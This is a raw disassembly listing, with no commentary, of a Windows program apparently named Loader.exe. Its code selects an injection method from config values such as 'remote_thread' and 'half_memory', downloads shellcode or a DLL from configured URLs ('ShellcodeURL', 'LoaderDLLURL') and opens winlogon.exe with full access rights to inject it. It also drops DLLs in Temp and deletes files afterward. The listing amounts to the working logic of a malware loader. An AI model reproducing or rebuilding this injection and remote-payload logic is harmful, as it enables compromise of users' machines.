mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14002452d
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024527
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024634
jmp 0x140024527
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], r15
mov r8d, Ordinal_30
lea rdx, str.GlobalSharedMemory_IX9_0000
lea rcx, [rbp + 0x68]
call fcn.140004740
lea rax, [rbp + 0x68]
mov qword [rbp + 0x88], rax
mov dword [rsp + 0x78], 0xff8
mov byte [rbp + 0x18], 0
mov dword [rbp - 0x10], r15d
lea rax, [rsp + 0x78]
mov qword [rbp - 8], rax
lea rax, [rbp + 0x68]
mov qword [rbp], rax
lea rcx, [rbp + 0x368]
call fcn.1400a9a90
test eax, eax
jne 0x1400246e9
cmp dword [rbp + 0x3b4], 0x7fffffff
je 0x1400246f4
lea rax, [rbp - 0x10]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x340]
call fcn.14000fe80
lea rcx, [rbp + 0x368]
call fcn.1400a9a98
movzx eax, byte [rbp + 0x18]
test al, al
jne 0x1400236a3
nop
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [rbp + 0x18]
test al, al
je 0x140023690
mov rdx, qword [rbp + 0x80]
cmp rdx, 7
jbe 0x1400236e6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400236e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024709
call fcn.1400ab160
lea r8, str.inject_way
lea rdx, [rbp + 0x28]
call fcn.14001f040
mov r8, rax
mov esi, dword [rsp + 0x70]
or esi, 1
mov dword [rsp + 0x70], esi
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140023712
mov r8, qword [rax]
lea rbx, str.remote_thread
lea rdi, str.memory
cmp rdx, 6
jne 0x140023749
mov rcx, rdi
sub r8, rdi
nop dword [rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x140023749
add rcx, 2
sub rdx, 1
jne 0x140023730
mov r14b, 1
jmp 0x14002379f
lea r8, str.inject_way
lea rdx, [rbp + 0x1d0]
call fcn.14001f040
mov r8, rax
or esi, 2
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140023770
mov r8, qword [rax]
lea rbx, str.remote_thread
cmp rdx, 0xd
jne 0x14002379c
mov rcx, rbx
sub r8, rbx
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14002379c
add rcx, 2
sub rdx, 1
jne 0x140023783
mov r14b, 1
jmp 0x14002379f
xor r14b, r14b
test sil, 2
je 0x140023806
and esi, 0xfffffffd
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x1400237ee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400237e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002470f
call fcn.1400ab160
movdqa xmm0, xmmword [0x1400ff570]
movdqu xmmword [rbp + 0x1e0], xmm0
mov word [rbp + 0x1d0], r15w
test sil, 1
je 0x14002384c
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x14002384c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023847
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024715
call fcn.1400ab160
test r14b, r14b
je 0x140023e98
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
lea r8, str.ShellcodeURL
lea rdx, [rbp + 0x28]
call fcn.14001f040
nop
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400058c0
lea rdx, [rbp + 0xb0]
mov rcx, rax
call fcn.140021df0
movzx esi, al
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x1400238ea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400238e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002471b
call fcn.1400ab160
test sil, sil
jne 0x1400239e1
mov r8d, WSAGetLastError
lea rcx, [rbp - 0x60]
call fcn.14001f230
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x14002397f
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002397a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024721
call fcn.1400ab160
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14002452d
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024527
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002463a
jmp 0x140024527
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r15
mov r8d, recv
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0xd0]
call fcn.140004740
lea rcx, [rbp + 0xd0]
call fcn.14000dd70
mov esi, eax
lea r8, str.inject_way
lea rdx, [rbp + 0x28]
call fcn.14001f040
mov rdx, rax
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140023a41
mov rdx, qword [rax]
cmp rcx, 6
jne 0x140023a68
sub rdx, rdi
nop word [rax + rax]
movzx eax, word [rdx + rdi]
cmp ax, word [rdi]
jne 0x140023a68
add rdi, 2
sub rcx, 1
jne 0x140023a50
mov dil, 1
jmp 0x140023a6b
xor dil, dil
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140023aab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023aa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024727
call fcn.1400ab160
test dil, dil
je 0x140023b7f
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov rcx, rax
call fcn.140009290
movzx ebx, al
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x60]
test bl, bl
je 0x140023b3b
xor r8d, r8d
call fcn.14001f230
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rcx, [rbp + 0x28]
call fcn.140004020
mov r8, qword [rbp + 0x38]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
lea rcx, [rbp + 0x28]
call fcn.140004030
jmp 0x140023e4e
mov r8d, 0x67
call fcn.14001f230
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rcx, [rbp + 0x28]
call fcn.140004020
mov r8, qword [rbp + 0x38]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
lea rcx, [rbp + 0x28]
call fcn.140004030
jmp 0x140023e4e
lea r8, str.inject_way
lea rdx, [rbp + 0x28]
call fcn.14001f040
mov rdx, rax
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140023ba0
mov rdx, qword [rax]
cmp rcx, 0xd
jne 0x140023bc7
sub rdx, rbx
nop dword [rax]
movzx eax, word [rdx + rbx]
cmp ax, word [rbx]
jne 0x140023bc7
add rbx, 2
sub rcx, 1
jne 0x140023bb0
mov bl, 1
jmp 0x140023bc9
xor bl, bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140023c09
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023c04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002472d
call fcn.1400ab160
test bl, bl
je 0x140023e4e
lea rcx, [rbp + 0xd0]
call fcn.14001fa20
mov rbx, rax
lea rcx, [rbp + 0x230]
call fcn.14000ad70
nop
lea r8, str.Temp_
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140027640
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140027720
nop
lea r8, str..dll
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140027640
nop
lea rcx, [rbp + 0xf0]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x1d0]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x230]
call fcn.140003ed0
nop
lea rcx, [rbp + 0xd0]
call fcn.140003ed0
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x1b0]
call fcn.1400084e0
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14001f5e0
nop
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.14001ddb0
nop
lea rcx, [rbp + 0x28]
call fcn.1400073f0
movzx ebx, al
lea rcx, [rbp + 0x28]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x48]
call fcn.140003ed0
test bl, bl
jne 0x140023d32
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x1b0]
call fcn.1400084e0
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14001f5e0
nop
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.14001ddb0
nop
lea rcx, [rbp + 0x28]
call fcn.14001e090
nop
lea rcx, [rbp + 0x28]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x48]
call fcn.140003ed0
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x28]
call fcn.1400086d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400073f0
movzx ebx, al
lea rcx, [rbp + 0x28]
call fcn.140003ed0
test bl, bl
je 0x140023d6b
lea rcx, [rbp + 0x68]
call fcn.140003ec0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x68]
call fcn.140003ec0
mov rcx, rax
lea rdx, [0x1400ff158]
call fcn.1400b7274
mov rbx, rax
lea rcx, [rbp + 0xb0]
call fcn.140004020
mov r9, rbx
mov r8, qword [rbp + 0xc0]
mov edx, 1
mov rcx, rax
call fcn.1400bb318
mov rcx, rbx
call fcn.1400bac60
lea rcx, [rbp + 0x68]
call fcn.140003ec0
mov rdx, rax
mov ecx, esi
call fcn.14000ded0
lea rcx, [rbp - 0x60]
test eax, eax
je 0x140023e04
mov r8d, 1
call fcn.14001f230
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rcx, [rbp + 0x28]
call fcn.140004020
mov r8, qword [rbp + 0x38]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
jmp 0x140023e3a
mov r8d, 0x69
call fcn.14001f230
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rcx, [rbp + 0x28]
call fcn.140004020
mov r8, qword [rbp + 0x38]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
lea rcx, [rbp + 0x28]
call fcn.140004030
nop
lea rcx, [rbp + 0x68]
call fcn.140003ed0
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140024504
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023e8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024733
call fcn.1400ab160
jmp 0x140024504
lea r8, str.inject_way
lea rdx, [rbp + 0x28]
call fcn.14001f040
mov r8, rax
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140023eb9
mov r8, qword [rax]
cmp rdx, 0xb
jne 0x140023ee8
lea rcx, str.half_memory
sub r8, rcx
nop dword [rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x140023ee8
add rcx, 2
sub rdx, 1
jne 0x140023ed0
mov bl, 1
jmp 0x140023eea
xor bl, bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140023f2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023f25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024739
call fcn.1400ab160
test bl, bl
je 0x14002441f
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x290], 0
lea r8, str.LoaderDLLURL
lea rdx, [rbp + 0x28]
call fcn.14001f040
nop
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400058c0
lea rdx, [rbp + 0x290]
mov rcx, rax
call fcn.140021df0
movzx ebx, al
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140023fc7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023fc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002473f
call fcn.1400ab160
test bl, bl
jne 0x140024013
mov r8d, WSASetLastError
lea rcx, [rbp - 0x60]
call fcn.14001f230
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rcx, [rbp + 0x28]
call fcn.140004020
mov r8, qword [rbp + 0x38]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
lea rcx, [rbp + 0x28]
call fcn.140004030
jmp 0x1400242fc
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0xf0]
call fcn.140003f40
mov rcx, rax
call fcn.14000dd70
mov edi, eax
lea rcx, [rbp + 0x310]
call fcn.14001fa20
mov rbx, rax
lea rcx, [rbp + 0x2f0]
call fcn.14000ad70
nop
lea r8, str.Temp_
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140027640
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140027720
nop
lea r8, str..dll
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140027640
nop
lea rcx, [rbp + 0x90]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x2d0]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x2f0]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x310]
call fcn.140003ed0
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x10]
call fcn.1400084e0
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.14001f5e0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x240], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
lea rcx, [rbp + 0x230]
call fcn.1400073f0
movzx ebx, al
lea rcx, [rbp + 0x230]
call fcn.140003ed0
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 7
jbe 0x14002417c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024177
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024745
call fcn.1400ab160
test bl, bl
jne 0x1400241d0
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x10]
call fcn.1400084e0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.14001f5e0
nop
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.14001ddb0
nop
lea rcx, [rbp + 0xf0]
call fcn.14001e090
nop
lea rcx, [rbp + 0xf0]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x28]
call fcn.140003ed0
lea rdx, [rbp + 0x110]
cmp qword [rbp + 0x128], 7
cmova rdx, qword [rbp + 0x110]
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], r15
mov r8, qword [rbp + 0x120]
lea rcx, [rbp + 0x68]
call fcn.140004740
nop
lea rcx, [rbp + 0x68]
call fcn.1400073f0
movzx ebx, al
mov rdx, qword [rbp + 0x80]
cmp rdx, 7
jbe 0x140024259
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024254
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002474b
call fcn.1400ab160
test bl, bl
je 0x140024272
lea rcx, [rbp + 0x110]
call fcn.140003ec0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 7
cmova rcx, qword [rbp + 0x110]
lea rdx, [0x1400ff158]
call fcn.1400b7274
mov rbx, rax
test rax, rax
jne 0x140024345
lea r8d, [rax + 0x6c]
lea rcx, [rbp - 0x60]
call fcn.14001f230
lea rdx, [rbp + 0x230]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rcx, [rbp + 0x230]
call fcn.140004020
mov r8, qword [rbp + 0x240]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
lea rcx, [rbp + 0x230]
call fcn.140004030
nop
lea rcx, [rbp + 0x110]
call fcn.140003ed0
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x14002452d
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024527
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024640
jmp 0x140024527
lea rcx, [rbp + 0x290]
call fcn.140004020
mov r9, rbx
mov r8, qword [rbp + 0x2a0]
mov edx, 1
mov rcx, rax
call fcn.1400bb318
mov rcx, rbx
call fcn.1400bac60
lea rcx, [rbp + 0x110]
call fcn.140003ec0
mov rdx, rax
mov ecx, edi
call fcn.14000ded0
lea rcx, [rbp - 0x60]
test eax, eax
je 0x1400243c6
mov r8d, 2
call fcn.14001f230
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rcx, [rbp + 0x28]
call fcn.140004020
mov r8, qword [rbp + 0x38]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
jmp 0x1400243fc
mov r8d, 0x68
call fcn.14001f230
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rcx, [rbp + 0x28]
call fcn.140004020
mov r8, qword [rbp + 0x38]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
lea rcx, [rbp + 0x28]
call fcn.140004030
nop
lea rcx, [rbp + 0x110]
call fcn.140003ed0
nop
lea rcx, [rbp + 0x290]
jmp 0x1400244ff
lea r8, str.inject_way
lea rdx, [rbp + 0xf0]
call fcn.14001f040
mov r8, rax
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140024443
mov r8, qword [rax]
cmp rdx, 9
jne 0x14002446b
lea rcx, str.no_inject
sub r8, rcx
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14002446b
add rcx, 2
sub rdx, 1
jne 0x140024453
mov bl, 1
jmp 0x14002446d
xor bl, bl
mov rdx, qword [rbp + 0x108]
cmp rdx, 7
jbe 0x1400244b3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400244ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024751
call fcn.1400ab160
test bl, bl
je 0x140024504
call fcn.140021180
call fcn.1400204b0
mov r8d, 5
lea rcx, [rbp - 0x60]
call fcn.14001f230
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x60]
call fcn.14001eb00
nop
lea rcx, [rbp + 0x28]
call fcn.140004020
mov r8, qword [rbp + 0x38]
mov rdx, rax
mov rcx, qword [0x14011cfc8]
call fcn.14000fdc0
nop
lea rcx, [rbp + 0x28]
call fcn.140004030
mov rbx, qword [0x14011cfc8]
mov qword [0x14011cfc8], r15
test rbx, rbx
je 0x14002452d
mov rcx, rbx
call fcn.14000e1c0
mov edx, Ordinal_217
mov rcx, rbx
call fcn.1400ab160
nop
lea rcx, [rbp + 0x330]
call fcn.14000e1c0
nop
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x14002457b
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024576
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024757
call fcn.1400ab160
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x250], 0
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x1400245d2
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400245cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002461c
call fcn.1400ab160
nop
lea rcx, [rbp - 0x38]
call sym.Loader.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor eax, eax
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.1400ab140
lea r11, [rsp + 0x770]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400b57a8
nop
call fcn.1400b57a8
int3
call fcn.1400b57a8
nop
call fcn.1400b57a8
int3
call fcn.1400b57a8
int3
call fcn.1400b57a8
int3
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
int3
call fcn.1400b57a8
nop
call fcn.1400086b0
int3
call fcn.140001450
nop
call fcn.1400b57a8
int3
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.140001450
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
int3
call fcn.1400b57a8
nop
lea r8, [rbp + 0x90]
lea rdx, [rsp + 0x60]
lea rcx, str.create_directories
call fcn.140006c70
nop
call fcn.1400b57a8
int3
call fcn.1400b57a8
int3
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
mov ecx, 5
call fcn.1400a9a34
int3
mov dword [rbp + 0x3b4], 0x7ffffffe
mov ecx, 6
call fcn.1400a9a34
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
int3
call fcn.1400b57a8
int3
call fcn.1400b57a8
int3
call fcn.1400b57a8
nop
call fcn.1400b57a8
int3
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
int3
call fcn.1400b57a8
nop
call fcn.1400b57a8
nop
call fcn.1400b57a8
int3